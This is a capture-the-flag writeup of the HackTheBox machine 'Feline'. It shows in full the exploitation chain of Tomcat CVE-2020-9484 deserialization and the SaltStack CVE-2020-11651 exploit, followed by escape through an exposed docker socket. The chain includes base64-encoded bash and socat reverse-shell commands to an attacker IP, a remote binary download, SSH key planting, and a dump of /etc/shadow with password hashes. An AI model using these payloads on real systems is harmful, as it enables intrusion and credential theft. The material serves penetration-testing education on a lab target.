Hello there, welcome back to another HackTheBox writeup. Today I’m doing the new HTB machine called “Feline – 10.10.10.205” by MinatoTW & MrR3boot.





The machine is all about Apache Tomcat deserialization (CVE-2020-9484) vulnerability. Using the publicly available well-known exploit to gain RCE and ultimately a reverse shell to obtain the user flag.
On the road to the root, we discover another well-known SaltStack Salt vulnerability and exploiting it we gain another round of RCE and further enumeration discloses an exposed docker socket. Using this we expose the SSHD and write our own ssh key in to the machine’s authorized keys. Then, using the exposed SSHD, we port forward to connect to the docker instance and creating a temporary sock and then run our own docker container, mounting root file system into it to get the root.
Portscan
So as its being said, A journey of a thousand miles begins with a single step, I update the hosts file with machine IP 10.10.10.205 as feline.htb and proceed to port scan using namp.
root@nav1n:~/htb/feline # nmap -sC -sV -p- feline.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-31 19:31 +03
Nmap scan report for feline.htb (10.10.10.205)
Host is up (0.13s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.27
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VirusBucket
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The nmap results came up, there are only 2 ports open. The port 8080 hosts a malware analysis service website called VirusBucket and as usual 22 an SSH service.





Enumerating Website
On the website there is nothing much information can be seen, but the Service tab seem to be interesting As per the comment on the page says, the malware analysis allows to upload all kinds of files and runs various tests to determine their nature and interaction. So it means the form takes no mater what type of file you upload and the engine scans various types of tests on it.





Initial Foothold and Getting User
As I started to test, the form actually takes anything, but I was not able to see where the uploaded file goes. What interested me is, the email input form takes any characters as email without sanitization, and sends to “/upload” and also interestingly the bank file upload as well triggers the message “Upload successful! The report will be sent via e-mail.”.
Going further I found, that the special characters like [ / | and \ triggers error “File upload failed”. Further, analyzing the form, I found the Java stack trace when an empty file name was uploaded. Interestingly, the stack traceback revealed the upload directory:
root@nav1n:~/htb/feline # curl -F 'image=@sample.txt;filename= ' 'http://feline.htb:8080/upload.jsp'<div id="error">
java.io.FileNotFoundException: /opt/samples/uploads (Is a directory)
at java.base/java.io.FileOutputStream.open0(Native Method)
at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298)
at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237)
at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187)
at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394)
at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Thread.java:834)
</div>
root@nav1n:~/htb/feline #
/opt/samples/uploads
Well the upload directory isn’t reachable so easily. So one of us found that the Apache Tomcat in the system is vulnerable to “CVE-2020-9484“. The vulnerability requirements are:
- The
PersistentManager
is enabled and it’s using aFileStore
- The attacker is able to upload a file with arbitrary content, has control over the filename and knows the location where it is uploaded (/upload.jsp)
- There are gadgets in the
classpath
that can be used for a Java deserialization attack.
While doing some research, I found a PoC written by masahiro311 in this GitHub page. To confirm the exploit works, I cloned the git and upload the groovy.session as suggested in the PoC.
root@nav1n:~/htb/feline # curl -F 'image=@groovy.session' -sS 'http://feline.htb:8080/upload.jsp'
File uploaded successfully!
root@nav1n:~/htb/feline #
And then, run the exploit as per the PoC, this will trigger another Stack Trackeback and that confirms the vulnerability.
$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
Running Exploit:
Running the exploit hereby confirms the vulnerability as the app returns stack traceback.
root@nav1n:~/htb/feline # curl -sS 'http://feline.htb:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../opt/samples/uploads/groovy'
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.NullPointerException
java.base/java.lang.reflect.Method.invoke(Method.java:566)
java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1175)
java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2295)
java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2166)
java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1668)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:482)
java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:440)
org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1553)
org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:1048)
ersistentManagerBase.java:764)
org.apache.catalina.session.PersistentManagerBase.swapIn(PersistentManagerBase.java:714)
org.apache.catalina.session.PersistentManagerBase.findSession(PersistentManagerBase.java:493)
org.apache.catalina.connector.Request.doGetSession(Request.java:2973)
org.apache.catalina.connector.Request.getSessionInternal(Request.java:2693)
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:496)
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579)
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
java.base/java.lang.Thread.run(Thread.java:834)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.27</h3></body></html>
root@nav1n:~/htb/feline #
What we know so far:
- The machine is vulnerable to CVE-2020-9484 (Tomcat)
- The Java Object Deserialization is the key
YSoSerial
When it comes to unsafe Java object deserialization, YSoSerial is the only tool most of us used to generate payloads. Let’s download YSoSerial (https://github.com/frohoff/ysoserial) Java jar file in order to run remote code execution. After download, I execute the Jar and below are available payloads:
root@nav1n:~/htb/feline # java -jar ysoserial-master-SNAPSHOT.jar
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
Available payload types:
Aug 31, 2020 9:25:03 PM org.reflections.Reflections scan
INFO: Reflections took 820 ms to scan 1 urls, producing 18 keys and 146 values
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
root@nav1n:~/htb/feline #
Creating the Java Runtime.exec() Payload and the reverse shell
Out of all the payloads, I’m using “CommonsCollections2”. So, according to the PoC, the payload must end with “.session”.
RCE Command:
echo 'bash -i >& /dev/tcp/10.10.14.14/8899 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODg4IDA+JjEK
Payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODg4IDA+JjEK=}|{base64,-d}|{bash,-i}
Final Payload:
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODg4IDA+JjEK=}|{base64,-d}|{bash,-i}" > rce2.session
Uploading and executing the RS Command:
root@nav1n:~/htb/feline # curl -sS 'http://10.10.10.205:8080/upload.jsp' -F "image=@rce2.session" > /dev/null
root@nav1n:~/htb/feline #
Running the listener:
root@nav1n:~/htb/feline # ncat -vl 10.10.14.14 8899
Executing the payload:
root@nav1n:~/htb/feline # curl -sS 'http://10.10.10.205:8080/upload.jsp' -H "Cookie: JSESSIONID=../../../opt/samples/uploads/rce2" > /dev/null
And we have the reverse shell as Tom Cat in our listener and the User flag was obtained from Tom Cat’s home directory.





Finding Services
As I have the user already pwned, I decided to move forward towards the root. Before doing any serious business I wanted to see the services running, because in normal cases finding the right service on right time would save hours.
tomcat@VirusBucket:/opt/tomcat/conf$ netstat -tuplna
netstat -tuplna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:34107 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 10.10.10.205:42728 10.10.14.6:33123 ESTABLISHED 2445/sh
tcp 0 1 10.10.10.205:48002 1.0.0.1:53 SYN_SENT -
tcp 0 16 10.10.10.205:45080 10.10.14.14:8899 ESTABLISHED 2349/bash
tcp6 0 0 127.0.0.1:8005 :::* LISTEN 952/java
tcp6 0 0 :::8080 :::* LISTEN 952/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 10.10.10.205:8080 10.10.14.6:43690 TIME_WAIT -
tcp6 0 0 10.10.10.205:8080 10.10.14.6:43686 TIME_WAIT -
tcp6 0 0 10.10.10.205:8080 10.10.14.6:43682 TIME_WAIT -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 127.0.0.1:37633 127.0.0.53:53 ESTABLISHED -
tomcat@VirusBucket:/opt/tomcat/conf$
As assumed, I found an interesting service running on the port 8000, upon curling I found the service to be CherryPy/18.6.0 running on the localhost.





From further enumeration, it looked like the port (8000) is probably running StaltStack. And a quick Googling, as well revealed “The Salt master uses ports 4505 and 4506, which must be opened to accept incoming connections”.





Saltstack 3000.1 – Remote Code Execution
Looking for “Salt” exploits, I found an exploit in Exploit-DB called “Saltstack 3000.1 – Remote Code Execution“. This exploit is for the SaltStack Salt vulnerabilities CVE-2020-11651 and CVE-2020-11652.
The PoC: https://github.com/jasperla/CVE-2020-11651-poc
The exploit can’t be used out of the box, this has to be run locally. For this purpose we need port forwarding. So, if you interested in the box’s name “feline” is another name for “cats” and the cat here is “SoCAT”. The “SoCat” is what we are going to use here for Port Forwarding.
So, I download the SoCat (https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat) and start my Python HTTPServer and Import the SoCat to TomCat’s local directory.
tomcat@VirusBucket:/opt/tomcat$ curl -sL http://10.10.14.14:8888/socat -o /opt/tomcat/conf/socat
<://10.10.14.14:8888/socat -o /opt/tomcat/conf/socat
tomcat@VirusBucket:/opt/tomcat$
Once imported, let us change the permission to executable and forwarding the port.
tomcat@VirusBucket:/opt/tomcat/conf$ chmod +x socat
chmod +x socat
tomcat@VirusBucket:/opt/tomcat/conf$ ls -la
ls -la
total 616
drwxr-xr-x 3 tomcat tomcat 4096 Aug 31 20:49 .
drwxr-xr-x 10 root root 4096 Jun 16 11:50 ..
drwxr-x--- 3 tomcat tomcat 4096 Jun 16 06:25 Catalina
-rw-r--r-- 1 tomcat tomcat 13132 Oct 7 2019 catalina.policy
-rw-r--r-- 1 tomcat tomcat 7420 Jun 16 06:53 catalina.properties
-rw-r--r-- 1 tomcat tomcat 1830 Jun 16 06:30 context.xml
-rw-r--r-- 1 tomcat tomcat 1172 Oct 7 2019 jaspic-providers.xml
-rw-r--r-- 1 tomcat tomcat 2365 Oct 7 2019 jaspic-providers.xsd
-rw-r--r-- 1 tomcat tomcat 4223 Oct 7 2019 logging.properties
-rw-r--r-- 1 tomcat tomcat 7690 Jun 30 10:07 server.xml
-rwxr-x--x 1 tomcat tomcat 375176 Aug 31 20:49 socat
-rw-r--r-- 1 tomcat tomcat 2208 Oct 7 2019 tomcat-users.xml
-rw-r--r-- 1 tomcat tomcat 2691 Oct 7 2019 tomcat-users.xsd
-rw-r--r-- 1 tomcat tomcat 177099 Oct 7 2019 web.xml
tomcat@VirusBucket:/opt/tomcat/conf$
tomcat@VirusBucket:/opt/tomcat/conf$ socat TCP-LISTEN:4506,reuseaddr,reuseport,fork,bind=10.10.10.205 TCP:127.0.0.1:4506 <reuseport,fork,bind=10.10.10.205 TCP:127.0.0.1:4506
Then, I run the exploit.
root@nav1n:~/htb/feline # python3 48421 --master 10.10.10.205 -f 2 ↵
Traceback (most recent call last):
File "48421", line 29, in <module>
import salt
ModuleNotFoundError: No module named 'salt'
root@nav1n:~/htb/feline #
Oh snap, the exploit doesn’t work without “Salt” dependency installed locally. By referring this (https://docs.saltstack.com/en/latest/topics/installation/ubuntu.html) and this (https://docs.saltstack.com/en/latest/topics/installation/ubuntu.html) articles I installed Salt in my Kali machine and proceed to run the exploit.
And running the exploit, the Root key was successfully obtained, this confirms the box is vulnerable to CVE-2020-11651.
root@nav1n:~/htb/feline # python3 48421 --master 10.10.10.205
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3001.1
[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.
[+] Checking salt-master (10.10.10.205:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: wpTvsJ7rYfH7agaPn6vHSBCoLffLaxs7N+K0pRzMGYoifEykZHAv/ZrfmcHwe15GD64+mT428mU=
root@nav1n:~/htb/feline #
Using SoCat To get Reverse Shell
As SoCat can be used to get reverse shell (ref: https://krober.biz/misc/reverse_shell.php?ip=127.0.0.1&port=8888) , So, import SoCat again to a temp directory using the exploit and run it.
root@nav1n:~/htb/feline # python3 48421 -f --master 10.10.10.205
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3001.1
[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.
[+] Checking salt-master (10.10.10.205:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: wpTvsJ7rYfH7agaPn6vHSBCoLffLaxs7N+K0pRzMGYoifEykZHAv/ZrfmcHwe15GD64+mT428mU=
root@nav1n:~/htb/feline # python3 48421 -f --master 10.10.10.205 --exec "curl -L http://10.10.14.14:8888/socat -o /tmp/socat"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3001.1
[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.
[+] Checking salt-master (10.10.10.205:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: wpTvsJ7rYfH7agaPn6vHSBCoLffLaxs7N+K0pRzMGYoifEykZHAv/ZrfmcHwe15GD64+mT428mU=
[+] Attemping to execute curl -L http://10.10.14.14:8888/socat -o /tmp/socat on 10.10.10.205
[+] Successfully scheduled job: 20200831212225359026
root@nav1n:~/htb/feline # python3 48421 -f --master 10.10.10.205 --exec 'chmod a+x /tmp/socat; /tmp/socat exec:"bash -li",ptytcp:10.10.14.14:9898'
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3001.1
[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.
[+] Checking salt-master (10.10.10.205:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: wpTvsJ7rYfH7agaPn6vHSBCoLffLaxs7N+K0pRzMGYoifEykZHAv/ZrfmcHwe15GD64+mT428mU=
[+] Attemping to execute chmod a+x /tmp/socat; /tmp/socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.10.14.14:9898 on 10.10.10.205
[+] Successfully scheduled job: 20200831212352767454
root@nav1n:~/htb/feline #
Reverse Shell as Root
As soon as the exploit is executed, I got reverse shell as Root in my listener.





Well, hold it – it looks like we are trapped inside the docker container here.
12:hugetlb:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
11:memory:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
10:cpuset:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
9:pids:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
8:devices:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
7:freezer:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
6:blkio:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
5:perf_event:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
3:cpu,cpuacct:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
2:net_cls,net_prio:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
1:name=systemd:/docker/2d24bf61767ce2a7a78e842ebc7534db8eb1ea5a5ec21bb735e472332b8f9ca2
root@2d24bf61767c:~#
There is a todo.txt file inside docker root directory, here what it reads:
root@2d24bf61767c:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@2d24bf61767c:~# ls
ls
todo.txt
root@2d24bf61767c:~# cat todo.txt
cat todo.txt
- Add saltstack support to auto-spawn sandbox dockers through events.
- Integrate changes to tomcat and make the service open to public.
root@2d24bf61767c:~#
The Docker Socket is in /var/run/docker.sock – this shouldn’t be exposed, however to access the docker.sock, it should be accessible to the attacker. And another evil is the container is running SSHD. Running an SSH server in your containers, is a very bad practice.





The exposed Docker Socket can be exploited in several ways. So the plan is to create temporary docker container, which should clone the root files and read the Root flag. So, using the bad practices in the vulnerable machine let us try to expose ssh server. To perform this, I need to add my ssh key in to user Docker root’s authorized keys.
root@2d24bf61767c:~# echo "ssh-ed25519 AAAAC3N***********jt+X/d5tCSZhBM2 root@nav1n" > /root/.ssh/authorized_keys
<d5tCSZhBM2 root@nav1n" > /root/.ssh/authorized_keys
root@2d24bf61767c:~# cat /root/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3********2K99jt+X/d5tCSZhBM2 root@nav1n
root@2d24bf61767c:~#
Then, local port from 127.0.0.1 port 8022 to local port 8888.
socat TCP-LISTEN:8888,bind=10.10.14.14,reuseaddr TCP-LISTEN:8022,bind=127.0.0.1,reuseaddr
Next, exposing the SSHD from docker.
root@2d24bf61767c:~# /tmp/socat TCP:127.0.0.1:22 TCP:10.10.14.14:8888
/tmp/socat TCP:127.0.0.1:22 TCP:10.10.14.14:8888
With the port forwarding is in place, let us forwarding the docker.sock to “/tmp/docker-copy.sock”.
root@nav1n:~/htb/feline # ssh -L /tmp/feline.sock:/var/run/docker-copy.sock -p 8022 root@127.0.0.1
Linux 2d24bf61767c 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@2d24bf61767c:~#
root@nav1n:~/htb/feline # docker -H unix:///tmp/docker-copy.sock ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2d24bf61767c 188a2704d8b0 "/usr/bin/dumb-init …" 2 months ago Up 8 hours 127.0.0.1:4505-4506->4505-4506/tcp, 22/tcp, 127.0.0.1:8000->8000/tcp saltstack
root@nav1n:~/htb/feline #
root@nav1n:~/htb/feline # docker -H unix:///tmp/docker-copy.sock images
REPOSITORY TAG IMAGE ID CREATED SIZE
sandbox latest a24bb4013296 3 months ago 5.57MB
<none> <none> 188a2704d8b0 4 months ago 1.06GB
So, finally mounting the root file system, give us the Root.
root@nav1n:~/htb/feline # docker -H unix:///tmp/feline.sock run -it --rm -v /:/mnt sandbox chroot /mnt
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@f5d06c402526:/# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)





That’s all, thank you for reading 🙂





root@1877ca3215fc:/# cat /etc/shadow
root:$6$XzluqBeUpIVqOvGi$1ngfZ.wa2hueUAkXFZjRZIyNxuQBboMC5319WC1lQcZORfGF6aKiG1mmnHaNnhFDTLeUknAre9ofC1KD/KvaU0:18430:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
sshd:*:18389:0:99999:7:::
systemd-coredump:!!:18389::::::
lxd:!:18389::::::
tomcat:$6$XFN8rDlg2vpDwUlR$5P8.iloA9sIgz1EDO5Z2hkxAW22ak0glc6pUh39Ye8NrLdguqkQEBZ6fe6JwlwVT5qIa8uQtvoenR1d5Qvhf20:18430:0:99999:7:::
dnsmasq:*:18443:0:99999:7:::
root@1877ca3215fc:/#